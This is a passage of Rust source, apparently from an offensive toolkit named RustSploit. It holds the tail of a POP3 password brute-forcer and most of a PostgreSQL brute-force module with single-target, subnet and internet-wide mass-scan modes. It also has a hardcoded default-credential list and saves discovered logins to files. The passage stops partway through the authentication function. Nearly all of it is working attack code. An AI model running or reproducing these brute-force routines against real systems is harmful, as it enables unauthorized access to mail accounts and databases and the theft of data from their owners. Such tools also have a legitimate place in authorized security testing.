|
||||
let max_retries: u32 = 3;
|
||||
let mut should_skip_host = false;
|
||||
loop {
|
||||
let t = target_str.clone();
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&t, port, &u, &p, use_ssl, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass).green().bold());
|
||||
return Some(line);
|
||||
}
|
||||
Ok(Ok(false)) => break, // auth failed, try next credential
|
||||
Ok(Err(e)) => {
|
||||
if e.error_type.is_retryable() && retry_attempt < max_retries {
|
||||
retry_attempt += 1;
|
||||
let delay = backoff_delay(500, retry_attempt, 8);
|
||||
tokio::time::sleep(delay).await;
|
||||
continue;
|
||||
}
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
Err(_) => {
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if should_skip_host {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "pop3_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "pop3",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/pop3_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&target_str, port, &user, &pass, use_ssl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 16, 1, 256).await? as usize;
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Timeout (s)", 5, 1, 60).await? as u64;
|
||||
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", false).await?;
|
||||
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "pop3_results.txt").await?;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry failed connections?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let usernames = load_lines(&username_wordlist)?;
|
||||
let passwords = load_lines(&password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
|
||||
}
|
||||
|
||||
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[Starting Attack]".bold().yellow());
|
||||
crate::mprintln!();
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&t, p, &user, &pass, use_ssl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency: threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms,
|
||||
max_retries,
|
||||
service_name: "pop3",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/pop3_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
result.save_to_file(&output_file)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// POP3 login result: Ok(true) = authenticated, Ok(false) = auth rejected, Err = classified error.
|
||||
/// Shared POP3 authentication logic for both SSL and plain connections.
|
||||
fn pop3_authenticate(stream: &mut (impl std::io::Read + std::io::Write), user: &str, pass: &str) -> std::result::Result<bool, Pop3Error> {
|
||||
let mut buffer = [0; 1024];
|
||||
// Read banner
|
||||
stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
// Send USER
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Send PASS
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
if let Err(e) = stream.write_all(b"QUIT\r\n") { crate::meprintln!("[!] POP3 QUIT write error: {}", e); }
|
||||
if let Err(e) = stream.flush() { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn attempt_pop3_login(target: &str, port: u16, user: &str, pass: &str, use_ssl: bool, timeout_secs: u64) -> std::result::Result<bool, Pop3Error> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| Pop3Error { error_type: Pop3ErrorType::ConnectionRefused, message: "Resolution failed".to_string() })?;
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
if use_ssl {
|
||||
let connector = TlsConnector::new().map_err(|e| Pop3Error {
|
||||
error_type: Pop3ErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
let mut tls_stream = connector.connect(target, stream).map_err(|e| Pop3Error {
|
||||
error_type: Pop3ErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
pop3_authenticate(&mut tls_stream, user, pass)
|
||||
} else {
|
||||
let mut plain_stream = stream;
|
||||
pop3_authenticate(&mut plain_stream, user, pass)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,714 @@
|
||||
//! PostgreSQL Brute Force Module
|
||||
//!
|
||||
//! Raw TCP wire-protocol implementation of PostgreSQL v3 authentication.
|
||||
//! Supports cleartext and MD5 password auth methods.
|
||||
//!
|
||||
//! Protocol flow:
|
||||
//! 1. Send StartupMessage (protocol 3.0, user, database)
|
||||
//! 2. Read Authentication request:
|
||||
//! - Type 0: AuthenticationOk (no password needed)
|
||||
//! - Type 3: CleartextPassword -> send PasswordMessage(password)
|
||||
//! - Type 5: MD5Password + 4-byte salt -> send "md5" + MD5(MD5(password+user) + salt)
|
||||
//! 3. Read response: 'R' type 0 = success, 'E' = error
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
// md5 crate 0.8 uses md5::compute(), not the Digest trait
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_PG_PORT: u16 = 5432;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 5000;
|
||||
const DEFAULT_DATABASE: &str = "postgres";
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("postgres", "postgres"),
|
||||
("postgres", ""),
|
||||
("postgres", "password"),
|
||||
("postgres", "123456"),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
("pgsql", "pgsql"),
|
||||
];
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "PostgreSQL Brute Force".to_string(),
|
||||
description: "Brute-force PostgreSQL authentication over raw TCP using protocol v3. \
|
||||
Supports cleartext and MD5 password auth methods. Includes default credential \
|
||||
testing, wordlist combo mode, subnet scanning, and mass scan."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://www.postgresql.org/docs/current/protocol-flow.html".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== PostgreSQL Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} -- Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "PostgreSQL",
|
||||
default_port: DEFAULT_PG_PORT,
|
||||
state_file: "postgres_brute_hose_state.log",
|
||||
default_output: "postgres_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let creds = [
|
||||
("postgres", "postgres"),
|
||||
("postgres", ""),
|
||||
("postgres", "password"),
|
||||
("admin", "admin"),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
match try_pg_auth(&addr, user, pass, DEFAULT_DATABASE).await {
|
||||
PgResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
PgResult::ConnectionError(_) => return None,
|
||||
PgResult::AuthFailed | PgResult::ProtocolError(_) => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} (Subnet Scan)", target).cyan()
|
||||
);
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "PostgreSQL Port", DEFAULT_PG_PORT).await?;
|
||||
let database =
|
||||
cfg_prompt_default("database", "Target database", DEFAULT_DATABASE).await?;
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Pass list empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"postgres_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "postgresql",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/postgres_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let db = database.clone();
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_pg_auth(&addr, &user, &pass, &db).await {
|
||||
PgResult::Success => LoginResult::Success,
|
||||
PgResult::AuthFailed => LoginResult::AuthFailed,
|
||||
PgResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
PgResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "PostgreSQL Port", DEFAULT_PG_PORT).await?;
|
||||
let database =
|
||||
cfg_prompt_default("database", "Target database", DEFAULT_DATABASE).await?;
|
||||
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "postgres_brute_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[*] Starting PostgreSQL brute-force on {}:{} ({} combos, {} threads, db={})",
|
||||
target,
|
||||
port,
|
||||
combos.len(),
|
||||
concurrency,
|
||||
database
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let db = database.clone();
|
||||
async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_pg_auth(&addr, &user, &pass, &db).await {
|
||||
PgResult::Success => LoginResult::Success,
|
||||
PgResult::AuthFailed => LoginResult::AuthFailed,
|
||||
PgResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
PgResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "postgresql",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/postgres_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored PostgreSQL responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "postgres_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# PostgreSQL Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PostgreSQL Wire Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum PgResult {
|
||||
Success,
|
||||
AuthFailed,
|
||||
ConnectionError(String),
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
/// Build a PostgreSQL StartupMessage (protocol v3.0).
|
||||
///
|
||||
/// Format: length (4 bytes, includes self) + protocol (4 bytes) + key-value pairs + terminator.
|
||||
fn build_startup_message(user: &str, database: &str) -> Vec<u8> {
|
||||
let mut params = Vec::new();
|
||||
|
||||
// user parameter
|
||||
params.extend_from_slice(b"user\0");
|
||||
params.extend_from_slice(user.as_bytes());
|
||||
params.push(0);
|
||||
|
||||
// database parameter
|
||||
params.extend_from_slice(b"database\0");
|
||||
params.extend_from_slice(database.as_bytes());
|
||||
params.push(0);
|
||||
|
||||
// client_encoding parameter
|
||||
params.extend_from_slice(b"client_encoding\0");
|
||||
params.extend_from_slice(b"UTF8\0");
|
||||
|
||||
// terminator
|
||||
params.push(0);
|
||||
|
||||
// protocol version 3.0 = 196608
|
||||
let protocol_version: u32 = 196608;
|
||||
// total length = 4 (length) + 4 (protocol) + params
|
||||
let total_len = (4 + 4 + params.len()) as u32;
|
||||
|
||||
let mut msg = Vec::with_capacity(total_len as usize);
|
||||
msg.extend_from_slice(&total_len.to_be_bytes());
|
||||
msg.extend_from_slice(&protocol_version.to_be_bytes());
|
||||
msg.extend_from_slice(¶ms);
|
||||
|
||||
msg
|
||||
}
|
||||
|
||||
/// Build a PasswordMessage for PostgreSQL.
|
||||
///
|
||||
/// Format: 'p' + length (4 bytes, includes self) + password string + null terminator.
|
||||
fn build_password_message(password: &str) -> Vec<u8> {
|
||||
let pass_bytes = password.as_bytes();
|
||||
let len = (4 + pass_bytes.len() + 1) as u32; // length includes itself + string + null
|
||||
|
||||
let mut msg = Vec::with_capacity(1 + len as usize);
|
||||
msg.push(b'p');
|
||||
msg.extend_from_slice(&len.to_be_bytes());
|
||||
msg.extend_from_slice(pass_bytes);
|
||||
msg.push(0);
|
||||
|
||||
msg
|
||||
}
|
||||
|
||||
/// Compute PostgreSQL MD5 auth response.
|
||||
///
|
||||
/// inner = md5(password + username)
|
||||
/// result = "md5" + md5(hex(inner) + salt)
|
||||
fn compute_md5_password(user: &str, password: &str, salt: &[u8; 4]) -> String {
|
||||
// inner = MD5(password + username)
|
||||
let mut inner_input = Vec::with_capacity(password.len() + user.len());
|
||||
inner_input.extend_from_slice(password.as_bytes());
|
||||
inner_input.extend_from_slice(user.as_bytes());
|
||||
let inner = md5::compute(&inner_input);
|
||||
let inner_hex = format!("{:x}", inner);
|
||||
|
||||
// outer = MD5(hex(inner) + salt)
|
||||
let mut outer_input = Vec::with_capacity(inner_hex.len() + 4);
|
||||
outer_input.extend_from_slice(inner_hex.as_bytes());
|
||||
outer_input.extend_from_slice(salt);
|
||||
let outer = md5::compute(&outer_input);
|
||||
|
||||
format!("md5{:x}", outer)
|
||||
}
|
||||
|
||||
/// Read a PostgreSQL message: 1-byte type + 4-byte length (BE, includes self) + payload.
|
||||
async fn read_pg_message(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
|
||||
let mut header = [0u8; 5];
|
||||
tokio::time::timeout(Duration::from_millis(READ_TIMEOUT_MS), stream.read_exact(&mut header))
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading PostgreSQL message"))?
|
||||
.map_err(|e| anyhow!("Failed to read message header: {}", e))?;
|
||||
|
||||
let msg_type = header[0];
|
||||
let length = u32::from_be_bytes([header[1], header[2], header[3], header[4]]);
|
||||
|
||||
if length < 4 {
|
||||
return Err(anyhow!("Invalid message length: {}", length));
|
||||
}
|
||||
|
||||
let payload_len = (length - 4) as usize;
|
||||
if payload_len > 65_536 {
|
||||
return Err(anyhow!("PostgreSQL message too large: {} bytes", payload_len));
|
||||
}
|
||||
|
||||
let mut payload = vec![0u8; payload_len];
|
||||
if payload_len > 0 {
|
||||
tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut payload),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading PostgreSQL payload"))?
|
||||
.map_err(|e| anyhow!("Failed to read payload: {}", e))?;
|
||||
}
|
||||
|
||||
Ok((msg_type, payload))
|
||||
}
|
||||
|
||||
/// Attempt PostgreSQL authentication against a target address.
|
||||
async fn try_pg_auth(addr: &str, username: &str, password: &str, database: &str) -> PgResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return PgResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
};
|
||||
|
||||
// Send StartupMessage
|
||||
let startup = build_startup_message(username, database);
|
||||
if let Err(e) = stream.write_all(&startup).await {
|
||||
return PgResult::ConnectionError(format!("Failed to send startup: {}", e));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return PgResult::ConnectionError(format!("Failed to flush: {}", e));
|
